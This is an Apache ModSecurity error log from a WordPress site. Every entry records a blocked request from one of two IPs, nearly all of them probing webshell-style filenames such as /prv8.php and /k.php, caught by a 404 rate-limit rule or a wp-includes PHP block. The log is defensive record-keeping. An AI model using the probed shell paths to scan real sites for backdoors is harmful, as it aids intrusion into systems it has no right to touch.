[Fri Apr 10 21:55:21.817947 2026] [:error] [pid 13100:tid 13105] [client 20.251.36.179:65346] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkBSVzg-ZkZ0InWIP3CpwAAAQA"]
[Fri Apr 10 21:55:22.532186 2026] [:error] [pid 62651:tid 62667] [client 20.251.36.179:40980] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/prv8.php"] [unique_id "adkBSjbAH0le57SIaqwoAgAAAc4"]
[Fri Apr 10 21:55:23.891169 2026] [:error] [pid 62769:tid 62781] [client 20.251.36.179:65404] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/prv8.php"] [unique_id "adkBS8WsSnfLoB8ifjBp9QAAAko"]
[Fri Apr 10 21:55:24.848052 2026] [:error] [pid 13101:tid 13155] [client 20.251.36.179:2422] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/prv8.php"] [unique_id "adkBTN8Ldw85818pj2rpMwAAAJY"]
[Fri Apr 10 21:55:25.473809 2026] [:error] [pid 62769:tid 62780] [client 20.251.36.179:57713] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/prv8.php"] [unique_id "adkBTcWsSnfLoB8ifjBqAQAAAkk"]
[Fri Apr 10 21:55:26.382633 2026] [:error] [pid 13101:tid 13143] [client 20.251.36.179:41007] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "adkBTt8Ldw85818pj2rpNAAAAIo"]
[Fri Apr 10 21:55:27.629320 2026] [:error] [pid 13189:tid 13202] [client 20.251.36.179:22506] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "adkBT5AxiJKPums3eBDLlAAAAEo"]
[Fri Apr 10 21:55:28.425543 2026] [:error] [pid 62651:tid 62662] [client 20.251.36.179:34555] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "adkBUDbAH0le57SIaqwoFwAAAck"]
[Fri Apr 10 21:55:29.149410 2026] [:error] [pid 13189:tid 13203] [client 20.251.36.179:40975] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "adkBUZAxiJKPums3eBDLnwAAAEs"]
[Fri Apr 10 21:55:30.269284 2026] [:error] [pid 62769:tid 62784] [client 20.251.36.179:2298] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "adkBUsWsSnfLoB8ifjBqBgAAAk0"]
[Fri Apr 10 21:55:31.240768 2026] [:error] [pid 63134:tid 63143] [client 20.251.36.179:2275] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "adkBU9FALqPDwWi6eJKq2AAAA8Y"]
[Fri Apr 10 21:55:31.968862 2026] [:error] [pid 62769:tid 62792] [client 20.251.36.179:22517] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "adkBU8WsSnfLoB8ifjBqEAAAAlU"]
[Fri Apr 10 21:55:35.193349 2026] [:error] [pid 63062:tid 63079] [client 20.251.36.179:28571] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "adkBV52HtsmV85NqkMf1RwAAA48"]
[Fri Apr 10 21:57:14.904933 2026] [:error] [pid 63062:tid 63070] [client 20.238.64.167:38316] [client 20.238.64.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Ipv6.php"] [unique_id "adkBup2HtsmV85NqkMf1wgAAA4Y"]
[Fri Apr 10 21:57:37.882872 2026] [:error] [pid 13101:tid 13156] [client 20.238.64.167:36104] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "adkB0d8Ldw85818pj2rqhQAAAJc"]
[Fri Apr 10 21:57:38.377316 2026] [:error] [pid 62710:tid 62720] [client 20.238.64.167:38279] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "adkB0uME7qrf5xEWWJsgvgAAAgc"]
[Fri Apr 10 21:57:38.874562 2026] [:error] [pid 63134:tid 63144] [client 20.238.64.167:38322] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "adkB0tFALqPDwWi6eJKrZwAAA8c"]
[Fri Apr 10 21:57:39.386475 2026] [:error] [pid 13101:tid 13150] [client 20.238.64.167:38317] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "adkB098Ldw85818pj2rqigAAAJE"]
[Fri Apr 10 21:57:39.892591 2026] [:error] [pid 13101:tid 13140] [client 20.238.64.167:36100] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adkB098Ldw85818pj2rqjQAAAIc"]
[Fri Apr 10 21:57:40.388102 2026] [:error] [pid 63062:tid 63071] [client 20.238.64.167:38307] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adkB1J2HtsmV85NqkMf1ygAAA4c"]
[Fri Apr 10 21:57:40.892220 2026] [:error] [pid 13101:tid 13146] [client 20.238.64.167:38291] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adkB1N8Ldw85818pj2rqlAAAAI0"]
[Fri Apr 10 21:57:41.391626 2026] [:error] [pid 63134:tid 63141] [client 20.238.64.167:38332] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adkB1dFALqPDwWi6eJKraQAAA8Q"]
[Fri Apr 10 21:57:41.889604 2026] [:error] [pid 63062:tid 63084] [client 20.238.64.167:38288] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "adkB1Z2HtsmV85NqkMf1ywAAA5Q"]
[Fri Apr 10 21:57:42.393531 2026] [:error] [pid 62884:tid 62898] [client 20.238.64.167:38306] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "adkB1uUCK1xrhnnmpo2HuQAAAsc"]
[Fri Apr 10 21:57:42.907798 2026] [:error] [pid 62884:tid 62902] [client 20.238.64.167:38274] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "adkB1uUCK1xrhnnmpo2HuwAAAss"]
[Fri Apr 10 21:57:43.411054 2026] [:error] [pid 62769:tid 62792] [client 20.238.64.167:38324] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "adkB18WsSnfLoB8ifjBsOwAAAlU"]
[Fri Apr 10 21:57:43.917005 2026] [:error] [pid 62769:tid 62786] [client 20.238.64.167:38297] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adkB18WsSnfLoB8ifjBsPgAAAk8"]
[Fri Apr 10 21:57:44.437593 2026] [:error] [pid 62769:tid 62778] [client 20.238.64.167:38273] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adkB2MWsSnfLoB8ifjBsRgAAAkc"]
[Fri Apr 10 21:57:44.967852 2026] [:error] [pid 13189:tid 13211] [client 20.238.64.167:36099] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adkB2JAxiJKPums3eBDNDgAAAFM"]
[Fri Apr 10 21:57:45.464523 2026] [:error] [pid 62710:tid 62722] [client 20.238.64.167:38286] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adkB2eME7qrf5xEWWJsg1gAAAgk"]
[Fri Apr 10 21:57:45.959993 2026] [:error] [pid 13189:tid 13196] [client 20.238.64.167:38321] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adkB2ZAxiJKPums3eBDNEwAAAEQ"]
[Fri Apr 10 21:57:46.461627 2026] [:error] [pid 13189:tid 13204] [client 20.238.64.167:36108] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adkB2pAxiJKPums3eBDNIQAAAEw"]
[Fri Apr 10 21:57:46.969798 2026] [:error] [pid 63134:tid 63148] [client 20.238.64.167:36105] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adkB2tFALqPDwWi6eJKrcgAAA8s"]
[Fri Apr 10 21:57:47.477410 2026] [:error] [pid 13101:tid 13157] [client 20.238.64.167:38318] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adkB298Ldw85818pj2rqsgAAAJg"]
[Fri Apr 10 21:57:47.978247 2026] [:error] [pid 13101:tid 13135] [client 20.238.64.167:8153] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adkB298Ldw85818pj2rqtAAAAII"]
[Fri Apr 10 21:57:48.480493 2026] [:error] [pid 63134:tid 63158] [client 20.238.64.167:36103] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adkB3NFALqPDwWi6eJKrdAAAA9U"]
[Fri Apr 10 21:57:48.974862 2026] [:error] [pid 13189:tid 13204] [client 20.238.64.167:38311] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adkB3JAxiJKPums3eBDNKwAAAEw"]
[Fri Apr 10 21:57:49.480167 2026] [:error] [pid 13189:tid 13199] [client 20.238.64.167:36121] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adkB3ZAxiJKPums3eBDNLgAAAEc"]
[Fri Apr 10 21:57:49.977527 2026] [:error] [pid 62769:tid 62794] [client 20.238.64.167:38292] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkB3cWsSnfLoB8ifjBsXgAAAlc"]
[Fri Apr 10 21:57:50.483642 2026] [:error] [pid 13100:tid 13108] [client 20.238.64.167:38312] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkB3lzg-ZkZ0InWIP3C4wAAAQM"]
[Fri Apr 10 21:57:50.984225 2026] [:error] [pid 62884:tid 62908] [client 20.238.64.167:38334] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkB3uUCK1xrhnnmpo2HvwAAAtE"]
[Fri Apr 10 21:57:51.479821 2026] [:error] [pid 63134:tid 63153] [client 20.238.64.167:38298] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkB39FALqPDwWi6eJKreAAAA9A"]
[Fri Apr 10 21:57:51.978871 2026] [:error] [pid 63134:tid 63144] [client 20.238.64.167:38285] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adkB39FALqPDwWi6eJKrfQAAA8c"]
[Fri Apr 10 21:57:52.475245 2026] [:error] [pid 13189:tid 13199] [client 20.238.64.167:36119] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adkB4JAxiJKPums3eBDNOAAAAEc"]
[Fri Apr 10 21:57:52.978729 2026] [:error] [pid 13189:tid 13212] [client 20.238.64.167:36159] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adkB4JAxiJKPums3eBDNOgAAAFQ"]
[Fri Apr 10 21:57:53.479650 2026] [:error] [pid 13101:tid 13141] [client 20.238.64.167:36126] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adkB4d8Ldw85818pj2rqvgAAAIg"]
[Fri Apr 10 21:57:53.976664 2026] [:error] [pid 63134:tid 63157] [client 20.238.64.167:38275] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adkB4dFALqPDwWi6eJKrgQAAA9Q"]
[Fri Apr 10 21:57:54.480993 2026] [:error] [pid 62651:tid 62668] [client 20.238.64.167:38299] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adkB4jbAH0le57SIaqwo3QAAAc8"]
[Fri Apr 10 21:57:54.979988 2026] [:error] [pid 62819:tid 62842] [client 20.238.64.167:36114] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adkB4vU20EyPf7NlslduDAAAApQ"]
[Fri Apr 10 21:57:55.480615 2026] [:error] [pid 13101:tid 13149] [client 20.238.64.167:8181] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adkB498Ldw85818pj2rqwgAAAJA"]
[Fri Apr 10 21:57:55.979837 2026] [:error] [pid 62769:tid 62771] [client 20.238.64.167:8158] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "adkB48WsSnfLoB8ifjBsagAAAkA"]
[Fri Apr 10 21:57:56.473146 2026] [:error] [pid 63062:tid 63069] [client 20.238.64.167:36102] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "adkB5J2HtsmV85NqkMf11AAAA4U"]
[Fri Apr 10 21:57:56.973781 2026] [:error] [pid 62710:tid 62723] [client 20.238.64.167:38320] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "adkB5OME7qrf5xEWWJsg6AAAAgo"]
[Fri Apr 10 21:57:57.472507 2026] [:error] [pid 13189:tid 13202] [client 20.238.64.167:36106] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "adkB5ZAxiJKPums3eBDNSQAAAEo"]
[Fri Apr 10 21:57:57.974112 2026] [:error] [pid 62884:tid 62898] [client 20.238.64.167:36111] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "adkB5eUCK1xrhnnmpo2HzgAAAsc"]
[Fri Apr 10 21:57:58.480557 2026] [:error] [pid 62819:tid 62828] [client 20.238.64.167:38335] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "adkB5vU20EyPf7NlslduEAAAAoY"]
[Fri Apr 10 21:57:58.976824 2026] [:error] [pid 62819:tid 62846] [client 20.238.64.167:8137] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "adkB5vU20EyPf7NlslduFQAAApg"]
